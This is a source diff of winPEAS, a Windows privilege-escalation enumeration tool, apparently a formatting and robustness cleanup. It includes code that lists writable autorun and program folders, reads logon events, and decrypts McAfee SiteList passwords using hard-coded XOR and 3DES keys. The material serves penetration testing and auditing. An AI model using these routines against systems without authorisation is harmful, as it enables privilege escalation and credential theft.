var programData = SearchHelper.GetFilesFast(programDataPath, GlobalPattern); var programData = GetFilesFast(programDataPath, GlobalPattern);
var searchFiles = new List<CustomFileInfo>(); var searchFiles = new List<CustomFileInfo>();
searchFiles.AddRange(SearchHelper.ProgramFiles); searchFiles.AddRange(ProgramFiles);
searchFiles.AddRange(SearchHelper.ProgramFilesX86); searchFiles.AddRange(ProgramFilesX86);
searchFiles.AddRange(programData); searchFiles.AddRange(programData);
searchFiles.AddRange(SearchHelper.DocumentsAndSettings); searchFiles.AddRange(DocumentsAndSettings);
searchFiles.AddRange(SearchHelper.RootDirUsers); searchFiles.AddRange(RootDirUsers);
foreach (var file in searchFiles) foreach (var file in searchFiles)
{ {
@@ -403,7 +403,7 @@ namespace winPEAS.Helpers.Search
".pdf", ".pdf",
}; };
foreach (var file in SearchHelper.RootDirCurrentUser) foreach (var file in RootDirCurrentUser)
{ {
if (!file.IsDirectory) if (!file.IsDirectory)
{ {
@@ -426,7 +426,7 @@ namespace winPEAS.Helpers.Search
} }
} }
} }
} }
} }
return result; return result;
@@ -451,7 +451,7 @@ namespace winPEAS.Helpers.Search
".pdf", ".pdf",
}; };
foreach (var file in SearchHelper.RootDirUsers) foreach (var file in RootDirUsers)
{ {
if (!file.IsDirectory) if (!file.IsDirectory)
{ {
@@ -474,7 +474,7 @@ namespace winPEAS.Helpers.Search
} }
} }
} }
} }
} }
return result; return result;

View File

@@ -8,12 +8,13 @@ namespace winPEAS.Helpers.YamlConfig
{ {
public string name { get; set; } public string name { get; set; }
public RegularExpression[] regexes { get; set; } public RegularExpression[] regexes { get; set; }
public class RegularExpression { public class RegularExpression
{
public string name { get; set; } public string name { get; set; }
public string regex { get; set; } public string regex { get; set; }
public bool caseinsensitive { get; set; } public bool caseinsensitive { get; set; }
public string disable { get; set; } public string disable { get; set; }
} }
} }
@@ -25,65 +26,65 @@ namespace winPEAS.Helpers.YamlConfig
public class FileParam public class FileParam
{ {
public string name { get; set; } public string name { get; set; }
public FileSettings value { get; set; } public FileSettings value { get; set; }
} }
public class SearchParameters public class SearchParameters
{ {
public class FileSettings public class FileSettings
{ {
public string bad_regex { get; set; } public string bad_regex { get; set; }
// public string check_extra_path { get; set; } // not used in Winpeas // public string check_extra_path { get; set; } // not used in Winpeas
public string good_regex { get; set; } public string good_regex { get; set; }
public bool? just_list_file { get; set; } public bool? just_list_file { get; set; }
public string line_grep { get; set; } public string line_grep { get; set; }
public bool? only_bad_lines { get; set; } public bool? only_bad_lines { get; set; }
public bool? remove_empty_lines { get; set; } public bool? remove_empty_lines { get; set; }
// public string remove_path { get; set; } // not used in Winpeas // public string remove_path { get; set; } // not used in Winpeas
public string remove_regex { get; set; } public string remove_regex { get; set; }
public string remove_path { get; set; } public string remove_path { get; set; }
// public string[] search_in { get; set; } // not used in Winpeas // public string[] search_in { get; set; } // not used in Winpeas
public string type { get; set; } public string type { get; set; }
public FileParam[] files { get; set; } public FileParam[] files { get; set; }
} }
public class FileParameters public class FileParameters
{ {
public string file { get; set; } public string file { get; set; }
public FileSettings options { get; set; } public FileSettings options { get; set; }
} }
public class Config public class Config
{ {
public bool auto_check { get; set; } public bool auto_check { get; set; }
} }
public Config config { get; set; } public Config config { get; set; }
public string[] disable { get; set; } // disabled scripts - linpeas/winpeas public string[] disable { get; set; } // disabled scripts - linpeas/winpeas
public FileParam[] files { get; set; } public FileParam[] files { get; set; }
} }
public class SearchParams public class SearchParams
{ {
public string name { get; set; } public string name { get; set; }
public SearchParameters value { get; set; } public SearchParameters value { get; set; }
} }
public class Defaults public class Defaults
{ {
public bool auto_check { get; set; } public bool auto_check { get; set; }
public string bad_regex { get; set; } public string bad_regex { get; set; }
//public string check_extra_path { get; set; } not used in winpeas //public string check_extra_path { get; set; } not used in winpeas
public string good_regex { get; set; } public string good_regex { get; set; }
public bool just_list_file { get; set; } public bool just_list_file { get; set; }
public string line_grep { get; set; } public string line_grep { get; set; }
public bool only_bad_lines { get; set; } public bool only_bad_lines { get; set; }
public bool remove_empty_lines { get; set; } public bool remove_empty_lines { get; set; }
public string remove_path { get; set; } public string remove_path { get; set; }
public string remove_regex { get; set; } public string remove_regex { get; set; }
public string[] search_in { get; set; } public string[] search_in { get; set; }
public string type { get; set; } public string type { get; set; }
} }
public class Variable public class Variable
@@ -92,9 +93,9 @@ namespace winPEAS.Helpers.YamlConfig
public string value { get; set; } public string value { get; set; }
} }
public SearchParams[] search { get; set; } public SearchParams[] search { get; set; }
public Defaults defaults { get; set; } public Defaults defaults { get; set; }
public Variable[] variables { get; set; } public Variable[] variables { get; set; }
} }

View File

@@ -1,10 +1,9 @@
using System.Collections.Generic; using System.Collections.Generic;
using System.Yaml.Serialization;
using System.IO; using System.IO;
using System.Reflection;
using System.Linq; using System.Linq;
using System.Reflection;
using System.Yaml.Serialization;
using static winPEAS.Helpers.YamlConfig.YamlConfig; using static winPEAS.Helpers.YamlConfig.YamlConfig;
using static winPEAS.Helpers.YamlConfig.YamlRegexConfig;
namespace winPEAS.Helpers.YamlConfig namespace winPEAS.Helpers.YamlConfig
@@ -30,7 +29,7 @@ namespace winPEAS.Helpers.YamlConfig
YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0]; YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0];
// check // check
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0) if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
{ {
throw new System.Exception("No configuration was read"); throw new System.Exception("No configuration was read");
} }
@@ -79,7 +78,7 @@ namespace winPEAS.Helpers.YamlConfig
// apply the defaults e.g. for filesearch // apply the defaults e.g. for filesearch
foreach (var searchItem in yamlConfig.search) foreach (var searchItem in yamlConfig.search)
{ {
SetDefaultOptions(searchItem, yamlConfig.defaults); SetDefaultOptions(searchItem, yamlConfig.defaults);
} }
@@ -91,7 +90,7 @@ namespace winPEAS.Helpers.YamlConfig
Beaprint.PrintException($"An exception occured while parsing sensitive_files.yaml configuration file: {e.Message}"); Beaprint.PrintException($"An exception occured while parsing sensitive_files.yaml configuration file: {e.Message}");
throw; throw;
} }
} }
private static void SetDefaultOptions(SearchParams searchItem, Defaults defaults) private static void SetDefaultOptions(SearchParams searchItem, Defaults defaults)
@@ -106,7 +105,7 @@ namespace winPEAS.Helpers.YamlConfig
foreach (var fileParam in fileParams) foreach (var fileParam in fileParams)
{ {
var value = fileParam.value; var value = fileParam.value;
value.bad_regex = GetValueOrDefault(value.bad_regex, defaults.bad_regex); value.bad_regex = GetValueOrDefault(value.bad_regex, defaults.bad_regex);
value.good_regex = GetValueOrDefault(value.good_regex, defaults.good_regex); value.good_regex = GetValueOrDefault(value.good_regex, defaults.good_regex);
value.just_list_file = GetValueOrDefault(value.just_list_file, defaults.just_list_file); value.just_list_file = GetValueOrDefault(value.just_list_file, defaults.just_list_file);
@@ -135,7 +134,7 @@ namespace winPEAS.Helpers.YamlConfig
private static T GetValueOrDefault<T>(T val, T defaultValue) private static T GetValueOrDefault<T>(T val, T defaultValue)
{ {
return val == null ? defaultValue : val; return val == null ? defaultValue : val;
} }
private static T GetValueOrDefault<T>(Dictionary<object, object> dict, string key, T defaultValue) private static T GetValueOrDefault<T>(Dictionary<object, object> dict, string key, T defaultValue)

View File

@@ -1,6 +1,5 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text; using System.Text;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Native; using winPEAS.Native;
@@ -10,7 +9,7 @@ namespace winPEAS.Info.ApplicationInfo
{ {
internal class ApplicationInfoHelper internal class ApplicationInfoHelper
{ {
public static string GetActiveWindowTitle() public static string GetActiveWindowTitle()
{ {
const int nChars = 256; const int nChars = 256;
@@ -46,7 +45,7 @@ namespace winPEAS.Info.ApplicationInfo
{ {
try try
{ {
if (t.Enabled && if (t.Enabled &&
!string.IsNullOrEmpty(t.Path) && !t.Path.Contains("Microsoft") && !string.IsNullOrEmpty(t.Path) && !t.Path.Contains("Microsoft") &&
!string.IsNullOrEmpty(t.Definition.RegistrationInfo.Author) && !string.IsNullOrEmpty(t.Definition.RegistrationInfo.Author) &&
!t.Definition.RegistrationInfo.Author.Contains("Microsoft")) !t.Definition.RegistrationInfo.Author.Contains("Microsoft"))

View File

@@ -1,10 +1,10 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Management; using System.Management;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -204,7 +204,7 @@ namespace winPEAS.Info.ApplicationInfo
{ {
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2] autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
} }
: new List<string> {autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name}); : new List<string> { autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name });
} }
} }
@@ -243,10 +243,10 @@ namespace winPEAS.Info.ApplicationInfo
string folder = Path.GetDirectoryName(filepath_cleaned); string folder = Path.GetDirectoryName(filepath_cleaned);
try try
{ {
//If the path doesn't exist, pass //If the path doesn't exist, pass
if (File.GetAttributes(filepath_cleaned).HasFlag(FileAttributes.Directory)) if (File.GetAttributes(filepath_cleaned).HasFlag(FileAttributes.Directory))
{ {
//If the path is already a folder, change the values of the params //If the path is already a folder, change the values of the params
orig_filepath = ""; orig_filepath = "";
folder = filepath_cleaned; folder = filepath_cleaned;
@@ -336,7 +336,7 @@ namespace winPEAS.Info.ApplicationInfo
var systemDrive = Environment.GetEnvironmentVariable("SystemDrive"); var systemDrive = Environment.GetEnvironmentVariable("SystemDrive");
var autorunLocations = new List<string> var autorunLocations = new List<string>
{ {
Environment.ExpandEnvironmentVariables(@"%programdata%\Microsoft\Windows\Start Menu\Programs\Startup"), Environment.ExpandEnvironmentVariables(@"%programdata%\Microsoft\Windows\Start Menu\Programs\Startup"),
}; };
string usersPath = Path.Combine(Environment.GetEnvironmentVariable(@"USERPROFILE")); string usersPath = Path.Combine(Environment.GetEnvironmentVariable(@"USERPROFILE"));
@@ -344,15 +344,18 @@ namespace winPEAS.Info.ApplicationInfo
try try
{ {
var userDirs = Directory.EnumerateDirectories(usersPath); if (Directory.Exists(usersPath))
foreach (var userDir in userDirs)
{ {
string startupPath = $@"{userDir}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"; var userDirs = Directory.EnumerateDirectories(usersPath);
if (Directory.Exists(startupPath)) foreach (var userDir in userDirs)
{ {
autorunLocations.Add(startupPath); string startupPath = $@"{userDir}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";
if (Directory.Exists(startupPath))
{
autorunLocations.Add(startupPath);
}
} }
} }
} }
@@ -364,22 +367,25 @@ namespace winPEAS.Info.ApplicationInfo
{ {
try try
{ {
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly); if (Directory.Exists(path))
foreach (string filepath in files)
{ {
string folder = Path.GetDirectoryName(filepath); var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
results.Add(new Dictionary<string, string>() {
{ "Reg", "" }, foreach (string filepath in files)
{ "RegKey", "" }, {
{ "RegPermissions", "" }, string folder = Path.GetDirectoryName(filepath);
{ "Folder", folder }, results.Add(new Dictionary<string, string>() {
{ "File", filepath }, { "Reg", "" },
{ "isWritableReg", ""}, { "RegKey", "" },
{ "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))}, { "RegPermissions", "" },
{ "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))}, { "Folder", folder },
{ "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() } { "File", filepath },
}); { "isWritableReg", ""},
{ "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},
{ "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))},
{ "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() }
});
}
} }
} }
catch (Exception) catch (Exception)
@@ -477,7 +483,7 @@ namespace winPEAS.Info.ApplicationInfo
private static IEnumerable<Dictionary<string, string>> GetAutoRunsFiles() private static IEnumerable<Dictionary<string, string>> GetAutoRunsFiles()
{ {
var results = new List<Dictionary<string, string>>(); var results = new List<Dictionary<string, string>>();
var systemDrive = Environment.GetEnvironmentVariable("SystemDrive"); var systemDrive = Environment.GetEnvironmentVariable("SystemDrive");
var autostartFiles = new HashSet<string> var autostartFiles = new HashSet<string>
{ {

View File

@@ -8,7 +8,7 @@ using winPEAS.Helpers.Registry;
namespace winPEAS.Info.ApplicationInfo namespace winPEAS.Info.ApplicationInfo
{ {
internal static class InstalledApps internal static class InstalledApps
{ {
public static SortedDictionary<string, Dictionary<string, string>> GetInstalledAppsPerms() public static SortedDictionary<string, Dictionary<string, string>> GetInstalledAppsPerms()
{ {
//Get from Program Files //Get from Program Files
@@ -71,16 +71,19 @@ namespace winPEAS.Info.ApplicationInfo
var results = new SortedDictionary<string, Dictionary<string, string>>(); var results = new SortedDictionary<string, Dictionary<string, string>>();
try try
{ {
foreach (string f in Directory.EnumerateFiles(fpath)) if (Directory.Exists(fpath))
{ {
results[f] = new Dictionary<string, string> foreach (string f in Directory.EnumerateFiles(fpath))
{
results[f] = new Dictionary<string, string>
{ {
{ f, string.Join(", ", PermissionsHelper.GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)) } { f, string.Join(", ", PermissionsHelper.GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)) }
}; };
} }
foreach (string d in Directory.EnumerateDirectories(fpath)) foreach (string d in Directory.EnumerateDirectories(fpath))
{ {
results[d] = PermissionsHelper.GetRecursivePrivs(d); results[d] = PermissionsHelper.GetRecursivePrivs(d);
}
} }
} }
catch (Exception ex) catch (Exception ex)

View File

@@ -18,12 +18,12 @@ namespace winPEAS.Info.EventsInfo.Logon
var kerberosLoggedUsersSet = new HashSet<string>(); var kerberosLoggedUsersSet = new HashSet<string>();
string userRegex = null; string userRegex = null;
var startTime = DateTime.Now.AddDays(-lastDays); var startTime = DateTime.Now.AddDays(-lastDays);
var endTime = DateTime.Now; var endTime = DateTime.Now;
var query = $@"*[System/EventID=4624] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]"; var query = $@"*[System/EventID=4624] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]";
var logReader = MyUtils.GetEventLogReader("Security", query); var logReader = MyUtils.GetEventLogReader("Security", query);
// read the event log // read the event log
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent()) for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
@@ -127,14 +127,14 @@ namespace winPEAS.Info.EventsInfo.Logon
result.NTLMv2LoggedUsersSet = NTLMv2LoggedUsersSet; result.NTLMv2LoggedUsersSet = NTLMv2LoggedUsersSet;
result.LogonEventInfos = logonEventInfos; result.LogonEventInfos = logonEventInfos;
return result; return result;
} }
public static IEnumerable<ExplicitLogonEventInfo> GetExplicitLogonEventsInfos(int lastDays) public static IEnumerable<ExplicitLogonEventInfo> GetExplicitLogonEventsInfos(int lastDays)
{ {
const string eventId = "4648"; const string eventId = "4648";
string userFilterRegex = null; string userFilterRegex = null;
var startTime = DateTime.Now.AddDays(-lastDays); var startTime = DateTime.Now.AddDays(-lastDays);
var endTime = DateTime.Now; var endTime = DateTime.Now;
@@ -143,7 +143,7 @@ namespace winPEAS.Info.EventsInfo.Logon
var logReader = MyUtils.GetEventLogReader("Security", query); var logReader = MyUtils.GetEventLogReader("Security", query);
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent()) for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
{ {
//string subjectUserSid = eventDetail.GetPropertyValue(0); //string subjectUserSid = eventDetail.GetPropertyValue(0);
var subjectUserName = eventDetail.GetPropertyValue(1); var subjectUserName = eventDetail.GetPropertyValue(1);
var subjectDomainName = eventDetail.GetPropertyValue(2); var subjectDomainName = eventDetail.GetPropertyValue(2);

View File

@@ -40,6 +40,6 @@ namespace winPEAS.Info.EventsInfo.Logon
LmPackage = lmPackage; LmPackage = lmPackage;
TargetOutboundUserName = targetOutboundUserName; TargetOutboundUserName = targetOutboundUserName;
TargetOutboundDomainName = targetOutboundDomainName; TargetOutboundDomainName = targetOutboundDomainName;
} }
} }
} }

View File

@@ -16,7 +16,7 @@ namespace winPEAS.Info.EventsInfo.PowerShell
string[] powerShellLogs = { "Microsoft-Windows-PowerShell/Operational", "Windows PowerShell" }; string[] powerShellLogs = { "Microsoft-Windows-PowerShell/Operational", "Windows PowerShell" };
// Get our "sensitive" cmdline regexes from a common helper function. // Get our "sensitive" cmdline regexes from a common helper function.
var powerShellRegex = Common.GetInterestingProcessArgsRegex(); var powerShellRegex = Common.GetInterestingProcessArgsRegex();
foreach (var logName in powerShellLogs) foreach (var logName in powerShellLogs)
{ {

View File

@@ -1,15 +1,14 @@
using System.Collections.Generic; using System.Collections.Generic;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Info.EventsInfo.PowerShell;
namespace winPEAS.Info.EventsInfo.ProcessCreation namespace winPEAS.Info.EventsInfo.ProcessCreation
{ {
internal class ProcessCreation internal class ProcessCreation
{ {
public static IEnumerable<ProcessCreationEventInfo> GetProcessCreationEventInfos() public static IEnumerable<ProcessCreationEventInfo> GetProcessCreationEventInfos()
{ {
// Get our "sensitive" cmdline regexes from a common helper function. // Get our "sensitive" cmdline regexes from a common helper function.
var processCmdLineRegex = Common.GetInterestingProcessArgsRegex(); var processCmdLineRegex = Common.GetInterestingProcessArgsRegex();
var query = $"*[System/EventID=4688]"; var query = $"*[System/EventID=4688]";
var logReader = MyUtils.GetEventLogReader("Security", query); var logReader = MyUtils.GetEventLogReader("Security", query);
@@ -33,6 +32,6 @@ namespace winPEAS.Info.EventsInfo.ProcessCreation
} }
} }
} }
} }
} }
} }

View File

@@ -19,6 +19,6 @@ namespace winPEAS.Info.EventsInfo.ProcessCreation
EventId = eventId; EventId = eventId;
User = user; User = user;
Match = match; Match = match;
} }
} }
} }

View File

@@ -3,7 +3,7 @@ using System.Collections.Generic;
namespace winPEAS.Info.FilesInfo.Certificates namespace winPEAS.Info.FilesInfo.Certificates
{ {
internal class CertificateInfo internal class CertificateInfo
{ {
public string StoreLocation { get; set; } public string StoreLocation { get; set; }
public string Issuer { get; set; } public string Issuer { get; set; }

View File

@@ -34,19 +34,19 @@ namespace winPEAS.Info.FilesInfo.Certificates
switch (ext.Oid.FriendlyName) switch (ext.Oid.FriendlyName)
{ {
case "Enhanced Key Usage": case "Enhanced Key Usage":
{
var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
if (extUsages.Count == 0)
continue;
foreach (var extUsage in extUsages)
{ {
enhancedKeyUsages.Add(extUsage.FriendlyName); var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
}
break; if (extUsages.Count == 0)
} continue;
foreach (var extUsage in extUsages)
{
enhancedKeyUsages.Add(extUsage.FriendlyName);
}
break;
}
case "Certificate Template Name": case "Certificate Template Name":
case "Certificate Template Information": case "Certificate Template Information":
template = ext.Format(false); template = ext.Format(false);

View File

@@ -127,7 +127,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 }; byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
// xor the input b64 string with the static XOR key // xor the input b64 string with the static XOR key
var passwordBytes = System.Convert.FromBase64String(base64password); var passwordBytes = Convert.FromBase64String(base64password);
for (var i = 0; i < passwordBytes.Length; i++) for (var i = 0; i < passwordBytes.Length; i++)
{ {
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]); passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
@@ -137,7 +137,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
//var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 }); //var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
byte[] tDESKey = { 62, 241, 54, 184, 179, 59, 239, 188, 52, 38, 167, 181, 78, 196, 26, 55, 124, 211, 25, 155, 0, 0, 0, 0 }; byte[] tDESKey = { 62, 241, 54, 184, 179, 59, 239, 188, 52, 38, 167, 181, 78, 196, 26, 55, 124, 211, 25, 155, 0, 0, 0, 0 };
// set the options we need // set the options we need
var tDESalg = new TripleDESCryptoServiceProvider(); var tDESalg = new TripleDESCryptoServiceProvider();
tDESalg.Mode = CipherMode.ECB; tDESalg.Mode = CipherMode.ECB;

View File

@@ -1,9 +1,9 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Globalization; using System.Globalization;
using System.Linq; using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.Info.FilesInfo.Office.OneDrive; using winPEAS.Info.FilesInfo.Office.OneDrive;

View File

@@ -1,6 +1,5 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Reflection;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using winPEAS.Helpers; using winPEAS.Helpers;
@@ -25,7 +24,7 @@ namespace winPEAS.Info.NetworkInfo
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD")); Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
object firewallObj = Activator.CreateInstance(firewall); object firewallObj = Activator.CreateInstance(firewall);
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes"); object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
result = $"{(FirewallProfiles) int.Parse(types.ToString())}"; result = $"{(FirewallProfiles)int.Parse(types.ToString())}";
} }
catch (Exception ex) catch (Exception ex)
{ {

View File

@@ -33,7 +33,7 @@ namespace winPEAS.Info.NetworkInfo.InternetSettings
string zoneMapKey = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey"; string zoneMapKey = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey";
AddSettings("HKCU", zoneMapKey, result.ZoneMaps, zoneMapKeys); AddSettings("HKCU", zoneMapKey, result.ZoneMaps, zoneMapKeys);
AddSettings("HKLM", zoneMapKey, result.ZoneMaps, zoneMapKeys); AddSettings("HKLM", zoneMapKey, result.ZoneMaps, zoneMapKeys);
// List Zones settings with automatic logons // List Zones settings with automatic logons
/** /**
@@ -72,14 +72,14 @@ namespace winPEAS.Info.NetworkInfo.InternetSettings
authSetting.ToString(), authSetting.ToString(),
$"{zone} : {authSettingStr}" $"{zone} : {authSettingStr}"
)); ));
} }
} }
return result; return result;
} }
private static void AddSettings(string hive, string keyPath, IList<InternetSettingsKey> internetSettingsList, IDictionary<string, string> zoneMapKeys = null) private static void AddSettings(string hive, string keyPath, IList<InternetSettingsKey> internetSettingsList, IDictionary<string, string> zoneMapKeys = null)
{ {
var proxySettings = (RegistryHelper.GetRegValues(hive, keyPath) ?? new Dictionary<string, object>()); var proxySettings = (RegistryHelper.GetRegValues(hive, keyPath) ?? new Dictionary<string, object>());
if (proxySettings != null) if (proxySettings != null)
{ {

View File

@@ -19,7 +19,7 @@
Value = value; Value = value;
Interpretation = interpretation; Interpretation = interpretation;
Hive = hive; Hive = hive;
Path = path; Path = path;
} }
} }
} }

View File

@@ -17,8 +17,8 @@ namespace winPEAS.Info.NetworkInfo
{ {
// https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket // https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket
private const int AF_INET = 2; private const int AF_INET = 2;
private const int AF_INET6 = 23; private const int AF_INET6 = 23;
[StructLayout(LayoutKind.Sequential)] [StructLayout(LayoutKind.Sequential)]
internal struct MIB_IPNETROW internal struct MIB_IPNETROW
{ {
@@ -191,12 +191,12 @@ namespace winPEAS.Info.NetworkInfo
foreach (var listener in props.GetActiveTcpListeners()) foreach (var listener in props.GetActiveTcpListeners())
{ {
bool repeated = false; bool repeated = false;
foreach(List<string> inside_entry in results) foreach (List<string> inside_entry in results)
{ {
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" })) if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
repeated = true; repeated = true;
} }
if (! repeated) if (!repeated)
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" }); results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
} }
@@ -218,12 +218,12 @@ namespace winPEAS.Info.NetworkInfo
} }
return results; return results;
} }
// https://stackoverflow.com/questions/3567063/get-a-list-of-all-unc-shared-folders-on-a-local-network-server // https://stackoverflow.com/questions/3567063/get-a-list-of-all-unc-shared-folders-on-a-local-network-server
// v2: https://stackoverflow.com/questions/6227892/reading-share-permissions-in-c-sharp // v2: https://stackoverflow.com/questions/6227892/reading-share-permissions-in-c-sharp
public static List<Dictionary<string, string>> GetNetworkShares(string pcname) public static List<Dictionary<string, string>> GetNetworkShares(string pcname)
{ {
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>(); List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
@@ -297,8 +297,8 @@ namespace winPEAS.Info.NetworkInfo
Beaprint.PrintException(ex.Message); Beaprint.PrintException(ex.Message);
} }
return results; return results;
} }
public static List<TcpConnectionInfo> GetTcpConnections(IPVersion ipVersion, Dictionary<int, Process> processesByPid = null) public static List<TcpConnectionInfo> GetTcpConnections(IPVersion ipVersion, Dictionary<int, Process> processesByPid = null)
{ {
int bufferSize = 0; int bufferSize = 0;
@@ -325,8 +325,8 @@ namespace winPEAS.Info.NetworkInfo
// If not zero, the call failed. // If not zero, the call failed.
if (result != 0) if (result != 0)
{ {
return new List<TcpConnectionInfo>(); return new List<TcpConnectionInfo>();
} }
// Marshals data fron an unmanaged block of memory to the // Marshals data fron an unmanaged block of memory to the
@@ -337,7 +337,7 @@ namespace winPEAS.Info.NetworkInfo
// Determine if IPv4 or IPv6. // Determine if IPv4 or IPv6.
if (ipVersion == IPVersion.IPv4) if (ipVersion == IPVersion.IPv4)
{ {
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID)); MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries)); IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
@@ -373,7 +373,7 @@ namespace winPEAS.Info.NetworkInfo
} }
else if (ipVersion == IPVersion.IPv6) else if (ipVersion == IPVersion.IPv6)
{ {
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID)); MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries)); IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
@@ -461,14 +461,14 @@ namespace winPEAS.Info.NetworkInfo
// Determine if IPv4 or IPv6. // Determine if IPv4 or IPv6.
if (ipVersion == IPVersion.IPv4) if (ipVersion == IPVersion.IPv4)
{ {
